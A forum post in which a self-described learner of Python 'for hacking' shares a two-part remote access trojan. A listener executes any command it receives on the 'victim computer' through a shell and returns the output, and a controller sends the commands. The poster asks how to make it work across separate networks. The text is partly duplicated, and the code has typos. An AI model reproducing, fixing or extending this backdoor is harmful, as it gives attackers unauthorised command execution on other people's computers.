Hello,
I try to learn python for hacking So I decide to set up a simply " RAT " in python. For the moment, I just want to execute some command on the victim computer.
I use Python3 with Archlinux.
So at now, I have these two python scripts :
The server :
And the client :
These two scripts work perfectly on my local network, but if I want to use it on two different networks, how can I do that? Do you have any link/tips/example on how to learn how to do that ?
What are the things that I need to enable the dialogue between my server and my client if there are in two different network ?
Thank you for you help ! :)
I try to learn python for hacking So I decide to set up a simply " RAT " in python. For the moment, I just want to execute some command on the victim computer.
I use Python3 with Archlinux.
So at now, I have these two python scripts :
The server :
Code
#!/bin/env python
#--*-- coding:UTF-8 --*--
import socket
connexion = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = input("Ip : ")
port = int(input("Port : "))
connexion.connect((host, port))
print("The connection with {} is done.".format(host, port))
started = True
while started:
choice = int(input(" [1] Command\n [2] Leave\n > "))
if choice == 1:
command = input(" Command : ")
connexion.send(command.encode())
retour = connexion.recv(1024).decode('latin1')
print(retour)
if choice == 2:
connexion.send("exit")
connexion.close()
breakAnd the client :
Code
#!/bin/env python
#--*-- coding:UTF-8 --*--
import socket
import subprocess
connexion = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = ''
port = 631
connexion.bind((host,port))
connexion.listen(5)
connexion_client, infos_connexion = connexion.accept()
started = True
while started:
rcv_cmd = connexion_client.recv(1024)
rcv_cmd = rcv_cmd.decode()
if rcv_cmd != "exit":
cmd = subprocess.Popen(rcv_cmd, shell=true, stdout = subprocess.PIPE, stderr =subprocess.PIPE, stdin = subprocess.PIPE )
out = cmd.stdout.read() + cmd.sdterr.read()
connexion_client.send(out)
else:
started = False
conexion.close()
exitThese two scripts work perfectly on my local network, but if I want to use it on two different networks, how can I do that? Do you have any link/tips/example on how to learn how to do that ?
What are the things that I need to enable the dialogue between my server and my client if there are in two different network ?
Thank you for you help ! :)


